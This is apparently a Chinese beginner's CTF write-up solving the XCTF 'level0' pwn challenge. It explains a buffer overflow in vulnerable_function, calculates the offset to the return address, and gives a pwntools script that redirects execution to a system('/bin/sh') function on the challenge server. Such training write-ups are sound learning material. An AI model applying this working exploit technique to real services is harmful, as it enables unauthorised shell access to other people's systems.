PWN头秃之旅 - 3.简单的栈溢出(攻防世界-level0)
PWN新手区里的level0是经典栈溢出的简化版本,因为题目直接给出了/bin/sh。
checksec跑一下:
main函数的伪代码:
int __cdecl main(int argc, const char **argv, const char **envp) { write(1, "Hello, World\n", 0xDuLL); return vulnerable_function(); }
main调用了vulnerable_function,vulnerable_function定义了参数buf然后调用了read函数,网上搜了下C语言的read函数:
所以vulnerable_function在read读取数据的时候存在缓冲区溢出。回想起咱屡战屡败的经典栈溢出实验,下一步应该就是覆盖返回地址然后执行/bin/sh了啊!!肿么办,我不会,我好方>_<。
看了下write up,这个题目已经准备好/bin/sh了,就在callsystem函数里面(相当于降低了难度),666~
int callsystem() { return system("/bin/sh"); }
那么,怎么覆盖vulnerable_function的返回地址然后执行callsystem呢?
1. 找到callysystem的调用地址:0x00400596
从checksec的结果看到地址随机化(PIE)没有打开,所以callysystem的内存地址是固定的。如果PIE打开,可能每次打开IDA看到的地址都不一样了(个人猜测,没试验过。。)
2.找到vulnerable_function的返回地址
返回地址指向的是当 read 函数结束后,程序下一 步要到的地方。
r的前面存储的就是存在溢出的变量buf:
3. 计算buf到return的偏移量
偏移量=buf长度0x80+r和buf之间的s的长度0x8
为什么要计算偏移量?是为了用这个偏移量覆盖返回地址,必须准确找到覆盖返回地址需要的偏移量,不然就会跟我的经典栈溢出一样屡战屡败!
4. 写脚本(依然网上copy,本人还是不会)
from pwn import * r = remote("220.249.52.133",53948) payload = 'A' * 0x80 + 'a' * 0x8 + p64(0x00400596) r.recvuntil("Hello, World\n") r.sendline(payload) r.interactive()
执行脚本,拿到flage:
本文仅用于技术学习和交流,严禁用于非法用途,否则产生的一切后果自行承担。
如需转载,请注明出处,这是对他人劳动成果的尊重。